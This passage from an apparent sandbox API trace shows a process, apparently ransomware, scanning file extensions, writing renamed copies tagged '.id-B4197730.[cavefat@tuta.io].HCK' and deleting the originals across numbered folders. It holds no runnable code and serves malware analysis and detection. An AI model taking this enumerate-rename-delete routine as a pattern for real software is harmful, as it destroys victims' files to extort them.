lpString2=".dll") returned -1 [0148.592] lstrlenW (lpString="C:\\588bce7c90097ed212\\1042\\SetupResources.dll") returned 45 [0148.592] lstrlenW (lpString=".1cd") returned 4 [0148.592] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0148.592] lstrlenW (lpString="C:\\588bce7c90097ed212\\1042\\SetupResources.dll") returned 45 [0148.592] lstrlenW (lpString=".jpg") returned 4 [0148.592] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0148.592] lstrlenW (lpString="C:\\588bce7c90097ed212\\1042\\SetupResources.dll") returned 45 [0148.592] lstrlenW (lpString="C:\\588bce7c90097ed212\\1042\\SetupResources.dll") returned 45 [0148.592] lstrlenW (lpString=".doc") returned 4 [0148.592] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0148.592] lstrlenW (lpString=".docx") returned 5 [0148.592] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0148.592] lstrlenW (lpString=".pdf") returned 4 [0148.592] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0148.592] lstrlenW (lpString=".xls") returned 4 [0148.592] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0148.592] lstrlenW (lpString=".xlsx") returned 5 [0148.592] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0148.592] lstrlenW (lpString=".ppt") returned 4 [0148.592] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0148.592] lstrlenW (lpString="C:\\588bce7c90097ed212\\1042\\SetupResources.dll") returned 45 [0148.592] lstrlenW (lpString=".zip") returned 4 [0148.592] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0148.592] lstrlenW (lpString=".rar") returned 4 [0148.592] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0148.592] lstrlenW (lpString=".bz2") returned 4 [0148.592] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0148.592] lstrlenW (lpString=".7z") returned 3 [0148.592] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0148.592] lstrlenW (lpString="C:\\588bce7c90097ed212\\1042\\SetupResources.dll") returned 45 [0148.592] lstrlenW (lpString=".dbf") returned 4 [0148.592] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0148.592] lstrlenW (lpString="C:\\588bce7c90097ed212\\1042\\SetupResources.dll") returned 45 [0148.592] lstrlenW (lpString=".1cd") returned 4 [0148.592] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0148.592] lstrlenW (lpString="C:\\588bce7c90097ed212\\1042\\SetupResources.dll") returned 45 [0148.592] lstrlenW (lpString=".jpg") returned 4 [0148.592] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0148.593] lstrcmpiW (lpString1=".dll", lpString2=".HCK") returned -1 [0148.593] lstrlenW (lpString="SetupResources.dll") returned 18 [0148.593] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1043\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1043\\setupresources.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4 [0148.594] GetFileSizeEx (in: hFile=0x2f4, lpFileSize=0x2d4ff14 | out: lpFileSize=0x2d4ff14*=19288) returned 1 [0148.594] CloseHandle (hObject=0x2f4) returned 1 [0148.595] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1043\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1043\\setupresources.dll")) returned 0x80 [0148.595] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1043\\SetupResources.dll.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\588bce7c90097ed212\\1043\\setupresources.dll.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0148.595] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1043\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1043\\setupresources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4 [0148.595] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1 [0148.595] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1 [0148.595] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1043\\SetupResources.dll.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\588bce7c90097ed212\\1043\\setupresources.dll.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0148.596] GetLastError () returned 0x0 [0148.596] ReadFile (in: hFile=0x2f4, lpBuffer=0x3902020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x3902020*, lpNumberOfBytesRead=0x2d4fecc*=0x4b58, lpOverlapped=0x0) returned 1 [0148.598] WriteFile (in: hFile=0x330, lpBuffer=0x3902020*, nNumberOfBytesToWrite=0x4b60, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x3902020*, lpNumberOfBytesWritten=0x2d4fc94*=0x4b60, lpOverlapped=0x0) returned 1 [0148.599] ReadFile (in: hFile=0x2f4, lpBuffer=0x3902020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x3902020*, lpNumberOfBytesRead=0x2d4fecc*=0x0, lpOverlapped=0x0) returned 1 [0148.599] WriteFile (in: hFile=0x330, lpBuffer=0x3902020*, nNumberOfBytesToWrite=0xf8, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x3902020*, lpNumberOfBytesWritten=0x2d4fc94*=0xf8, lpOverlapped=0x0) returned 1 [0148.599] SetEndOfFile (hFile=0x330) returned 1 [0148.600] CloseHandle (hObject=0x330) returned 1 [0148.600] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1 [0148.601] SetEndOfFile (hFile=0x2f4) returned 1 [0148.601] CloseHandle (hObject=0x2f4) returned 1 [0148.601] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1043\\SetupResources.dll.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x80) returned 1 [0148.602] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1043\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1043\\setupresources.dll")) returned 1 [0148.602] lstrlenW (lpString="C:\\588bce7c90097ed212\\1043\\SetupResources.dll") returned 45 [0148.602] lstrlenW (lpString="C:\\588bce7c90097ed212\\1043\\SetupResources.dll") returned 45 [0148.602] lstrlenW (lpString=".doc") returned 4 [0148.602] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0148.602] lstrlenW (lpString=".docx") returned 5 [0148.602] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0148.602] lstrlenW (lpString=".pdf") returned 4 [0148.602] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0148.602] lstrlenW (lpString=".xls") returned 4 [0148.602] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0148.602] lstrlenW (lpString=".xlsx") returned 5 [0148.602] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0148.602] lstrlenW (lpString=".ppt") returned 4 [0148.602] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0148.602] lstrlenW (lpString="C:\\588bce7c90097ed212\\1043\\SetupResources.dll") returned 45 [0148.602] lstrlenW (lpString=".zip") returned 4 [0148.602] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0148.602] lstrlenW (lpString=".rar") returned 4 [0148.602] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0148.602] lstrlenW (lpString=".bz2") returned 4 [0148.602] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0148.602] lstrlenW (lpString=".7z") returned 3 [0148.602] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0148.602] lstrlenW (lpString="C:\\588bce7c90097ed212\\1043\\SetupResources.dll") returned 45 [0148.602] lstrlenW (lpString=".dbf") returned 4 [0148.602] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0148.602] lstrlenW (lpString="C:\\588bce7c90097ed212\\1043\\SetupResources.dll") returned 45 [0148.602] lstrlenW (lpString=".1cd") returned 4 [0148.602] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0148.602] lstrlenW (lpString="C:\\588bce7c90097ed212\\1043\\SetupResources.dll") returned 45 [0148.602] lstrlenW (lpString=".jpg") returned 4 [0148.602] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0148.603] lstrlenW (lpString="C:\\588bce7c90097ed212\\1043\\SetupResources.dll") returned 45 [0148.603] lstrlenW (lpString="C:\\588bce7c90097ed212\\1043\\SetupResources.dll") returned 45 [0148.603] lstrlenW (lpString=".doc") returned 4 [0148.603] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0148.603] lstrlenW (lpString=".docx") returned 5 [0148.603] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0148.603] lstrlenW (lpString=".pdf") returned 4 [0148.603] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0148.603] lstrlenW (lpString=".xls") returned 4 [0148.603] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0148.603] lstrlenW (lpString=".xlsx") returned 5 [0148.603] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0148.603] lstrlenW (lpString=".ppt") returned 4 [0148.603] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0148.603] lstrlenW (lpString="C:\\588bce7c90097ed212\\1043\\SetupResources.dll") returned 45 [0148.603] lstrlenW (lpString=".zip") returned 4 [0148.603] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0148.603] lstrlenW (lpString=".rar") returned 4 [0148.603] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0148.603] lstrlenW (lpString=".bz2") returned 4 [0148.603] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0148.603] lstrlenW (lpString=".7z") returned 3 [0148.603] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0148.603] lstrlenW (lpString="C:\\588bce7c90097ed212\\1043\\SetupResources.dll") returned 45 [0148.603] lstrlenW (lpString=".dbf") returned 4 [0148.603] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0148.603] lstrlenW (lpString="C:\\588bce7c90097ed212\\1043\\SetupResources.dll") returned 45 [0148.603] lstrlenW (lpString=".1cd") returned 4 [0148.603] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0148.603] lstrlenW (lpString="C:\\588bce7c90097ed212\\1043\\SetupResources.dll") returned 45 [0148.603] lstrlenW (lpString=".jpg") returned 4 [0148.603] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0148.603] lstrcmpiW (lpString1=".dll", lpString2=".HCK") returned -1 [0148.603] lstrlenW (lpString="SetupResources.dll") returned 18 [0148.603] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1044\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1044\\setupresources.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4 [0148.603] GetFileSizeEx (in: hFile=0x2f4, lpFileSize=0x2d4ff14 | out: lpFileSize=0x2d4ff14*=17752) returned 1 [0148.603] CloseHandle (hObject=0x2f4) returned 1 [0148.604] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1044\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1044\\setupresources.dll")) returned 0x80 [0148.604] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1044\\SetupResources.dll.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\588bce7c90097ed212\\1044\\setupresources.dll.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0148.604] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1044\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1044\\setupresources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4 [0148.604] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1 [0148.604] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1 [0148.604] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1044\\SetupResources.dll.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\588bce7c90097ed212\\1044\\setupresources.dll.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0148.605] GetLastError () returned 0x0 [0148.605] ReadFile (in: hFile=0x2f4, lpBuffer=0x3902020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x3902020*, lpNumberOfBytesRead=0x2d4fecc*=0x4558, lpOverlapped=0x0) returned 1 [0148.607] WriteFile (in: hFile=0x330, lpBuffer=0x3902020*, nNumberOfBytesToWrite=0x4560, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x3902020*, lpNumberOfBytesWritten=0x2d4fc94*=0x4560, lpOverlapped=0x0) returned 1 [0148.608] ReadFile (in: hFile=0x2f4, lpBuffer=0x3902020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x3902020*, lpNumberOfBytesRead=0x2d4fecc*=0x0, lpOverlapped=0x0) returned 1 [0148.608] WriteFile (in: hFile=0x330, lpBuffer=0x3902020*, nNumberOfBytesToWrite=0xf8, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x3902020*, lpNumberOfBytesWritten=0x2d4fc94*=0xf8, lpOverlapped=0x0) returned 1 [0148.608] SetEndOfFile (hFile=0x330) returned 1 [0148.608] CloseHandle (hObject=0x330) returned 1 [0148.609] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1 [0148.609] SetEndOfFile (hFile=0x2f4) returned 1 [0148.610] CloseHandle (hObject=0x2f4) returned 1 [0148.610] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1044\\SetupResources.dll.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x80) returned 1 [0148.610] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1044\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1044\\setupresources.dll")) returned 1 [0148.610] lstrlenW (lpString="C:\\588bce7c90097ed212\\1044\\SetupResources.dll") returned 45 [0148.611] lstrlenW (lpString="C:\\588bce7c90097ed212\\1044\\SetupResources.dll") returned 45 [0148.611] lstrlenW (lpString=".doc") returned 4 [0148.611] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0148.611] lstrlenW (lpString=".docx") returned 5 [0148.611] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0148.611] lstrlenW (lpString=".pdf") returned 4 [0148.611] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0148.611] lstrlenW (lpString=".xls") returned 4 [0148.611] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0148.611] lstrlenW (lpString=".xlsx") returned 5 [0148.611] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0148.611] lstrlenW (lpString=".ppt") returned 4 [0148.611] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0148.611] lstrlenW (lpString="C:\\588bce7c90097ed212\\1044\\SetupResources.dll") returned 45 [0148.611] lstrlenW (lpString=".zip") returned 4 [0148.611] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0148.611] lstrlenW (lpString=".rar") returned 4 [0148.611] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0148.611] lstrlenW (lpString=".bz2") returned 4 [0148.611] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0148.611] lstrlenW (lpString=".7z") returned 3 [0148.611] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0148.611] lstrlenW (lpString="C:\\588bce7c90097ed212\\1044\\SetupResources.dll") returned 45 [0148.611] lstrlenW (lpString=".dbf") returned 4 [0148.611] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0148.611] lstrlenW (lpString="C:\\588bce7c90097ed212\\1044\\SetupResources.dll") returned 45 [0148.611] lstrlenW (lpString=".1cd") returned 4 [0148.611] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0148.611] lstrlenW (lpString="C:\\588bce7c90097ed212\\1044\\SetupResources.dll") returned 45 [0148.611] lstrlenW (lpString=".jpg") returned 4 [0148.611] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0148.611] lstrlenW (lpString="C:\\588bce7c90097ed212\\1044\\SetupResources.dll") returned 45 [0148.611] lstrlenW (lpString="C:\\588bce7c90097ed212\\1044\\SetupResources.dll") returned 45 [0148.611] lstrlenW (lpString=".doc") returned 4 [0148.611] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0148.611] lstrlenW (lpString=".docx") returned 5 [0148.611] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0148.611] lstrlenW (lpString=".pdf") returned 4 [0148.611] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0148.611] lstrlenW (lpString=".xls") returned 4 [0148.611] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0148.611] lstrlenW (lpString=".xlsx") returned 5 [0148.611] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0148.611] lstrlenW (lpString=".ppt") returned 4 [0148.611] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0148.611] lstrlenW (lpString="C:\\588bce7c90097ed212\\1044\\SetupResources.dll") returned 45 [0148.611] lstrlenW (lpString=".zip") returned 4 [0148.611] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0148.611] lstrlenW (lpString=".rar") returned 4 [0148.612] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0148.612] lstrlenW (lpString=".bz2") returned 4 [0148.612] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0148.612] lstrlenW (lpString=".7z") returned 3 [0148.612] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0148.612] lstrlenW (lpString="C:\\588bce7c90097ed212\\1044\\SetupResources.dll") returned 45 [0148.612] lstrlenW (lpString=".dbf") returned 4 [0148.612] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0148.612] lstrlenW (lpString="C:\\588bce7c90097ed212\\1044\\SetupResources.dll") returned 45 [0148.612] lstrlenW (lpString=".1cd") returned 4 [0148.612] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0148.612] lstrlenW (lpString="C:\\588bce7c90097ed212\\1044\\SetupResources.dll") returned 45 [0148.612] lstrlenW (lpString=".jpg") returned 4 [0148.612] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0148.612] lstrcmpiW (lpString1=".dll", lpString2=".HCK") returned -1 [0148.612] lstrlenW (lpString="SetupResources.dll") returned 18 [0148.612] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1045\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1045\\setupresources.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4 [0148.612] GetFileSizeEx (in: hFile=0x2f4, lpFileSize=0x2d4ff14 | out: lpFileSize=0x2d4ff14*=18264) returned 1 [0148.612] CloseHandle (hObject=0x2f4) returned 1 [0148.612] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1045\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1045\\setupresources.dll")) returned 0x80 [0148.612] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1045\\SetupResources.dll.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\588bce7c90097ed212\\1045\\setupresources.dll.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0148.612] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1045\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1045\\setupresources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4 [0148.612] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1 [0148.612] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1 [0148.612] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1045\\SetupResources.dll.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\588bce7c90097ed212\\1045\\setupresources.dll.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0148.974] GetLastError () returned 0x0 [0148.986] ReadFile (in: hFile=0x2f4, lpBuffer=0x3902020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x3902020*, lpNumberOfBytesRead=0x2d4fecc*=0x4758, lpOverlapped=0x0) returned 1 [0148.994] WriteFile (in: hFile=0x36c, lpBuffer=0x3902020*, nNumberOfBytesToWrite=0x4760, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x3902020*, lpNumberOfBytesWritten=0x2d4fc94*=0x4760, lpOverlapped=0x0) returned 1 [0148.995] ReadFile (in: hFile=0x2f4, lpBuffer=0x3902020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x3902020*, lpNumberOfBytesRead=0x2d4fecc*=0x0, lpOverlapped=0x0) returned 1 [0148.995] WriteFile (in: hFile=0x36c, lpBuffer=0x3902020*, nNumberOfBytesToWrite=0xf8, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x3902020*, lpNumberOfBytesWritten=0x2d4fc94*=0xf8, lpOverlapped=0x0) returned 1 [0148.995] SetEndOfFile (hFile=0x36c) returned 1 [0148.995] CloseHandle (hObject=0x36c) returned 1 [0148.996] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1 [0148.996] SetEndOfFile (hFile=0x2f4) returned 1 [0148.997] CloseHandle (hObject=0x2f4) returned 1 [0148.997] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1045\\SetupResources.dll.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x80) returned 1 [0148.997] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1045\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1045\\setupresources.dll")) returned 1 [0148.998] lstrlenW (lpString="C:\\588bce7c90097ed212\\1045\\SetupResources.dll") returned 45 [0148.998] lstrlenW (lpString="C:\\588bce7c90097ed212\\1045\\SetupResources.dll") returned 45 [0148.998] lstrlenW (lpString=".doc") returned 4 [0148.998] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0148.998] lstrlenW (lpString=".docx") returned 5 [0148.998] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0148.998] lstrlenW (lpString=".pdf") returned 4 [0148.998] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0148.998] lstrlenW (lpString=".xls") returned 4 [0148.998] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0148.998] lstrlenW (lpString=".xlsx") returned 5 [0148.998] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0148.998] lstrlenW (lpString=".ppt") returned 4 [0148.998] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0148.998] lstrlenW (lpString="C:\\588bce7c90097ed212\\1045\\SetupResources.dll") returned 45 [0148.998] lstrlenW (lpString=".zip") returned 4 [0148.998] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0148.998] lstrlenW (lpString=".rar") returned 4 [0148.998] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0148.998] lstrlenW (lpString=".bz2") returned 4 [0148.998] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0148.998] lstrlenW (lpString=".7z") returned 3 [0148.998] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0148.998] lstrlenW (lpString="C:\\588bce7c90097ed212\\1045\\SetupResources.dll") returned 45 [0148.998] lstrlenW (lpString=".dbf") returned 4 [0148.998] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0148.998] lstrlenW (lpString="C:\\588bce7c90097ed212\\1045\\SetupResources.dll") returned 45 [0148.998] lstrlenW (lpString=".1cd") returned 4 [0148.998] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0148.998] lstrlenW (lpString="C:\\588bce7c90097ed212\\1045\\SetupResources.dll") returned 45 [0148.998] lstrlenW (lpString=".jpg") returned 4 [0148.998] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0148.998] lstrlenW (lpString="C:\\588bce7c90097ed212\\1045\\SetupResources.dll") returned 45 [0148.998] lstrlenW (lpString="C:\\588bce7c90097ed212\\1045\\SetupResources.dll") returned 45 [0148.998] lstrlenW (lpString=".doc") returned 4 [0148.998] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0148.998] lstrlenW (lpString=".docx") returned 5 [0148.998] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0148.998] lstrlenW (lpString=".pdf") returned 4 [0148.999] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0148.999] lstrlenW (lpString=".xls") returned 4 [0148.999] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0148.999] lstrlenW (lpString=".xlsx") returned 5 [0148.999] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0148.999] lstrlenW (lpString=".ppt") returned 4 [0148.999] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0148.999] lstrlenW (lpString="C:\\588bce7c90097ed212\\1045\\SetupResources.dll") returned 45 [0148.999] lstrlenW (lpString=".zip") returned 4 [0148.999] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0148.999] lstrlenW (lpString=".rar") returned 4 [0148.999] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0148.999] lstrlenW (lpString=".bz2") returned 4 [0148.999] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0148.999] lstrlenW (lpString=".7z") returned 3 [0148.999] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0148.999] lstrlenW (lpString="C:\\588bce7c90097ed212\\1045\\SetupResources.dll") returned 45 [0148.999] lstrlenW (lpString=".dbf") returned 4 [0148.999] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0148.999] lstrlenW (lpString="C:\\588bce7c90097ed212\\1045\\SetupResources.dll") returned 45 [0148.999] lstrlenW (lpString=".1cd") returned 4 [0148.999] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0148.999] lstrlenW (lpString="C:\\588bce7c90097ed212\\1045\\SetupResources.dll") returned 45 [0148.999] lstrlenW (lpString=".jpg") returned 4 [0148.999] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0148.999] lstrcmpiW (lpString1=".ico", lpString2=".HCK") returned 1 [0148.999] lstrlenW (lpString="DisplayIcon.ico") returned 15 [0148.999] CreateFileW 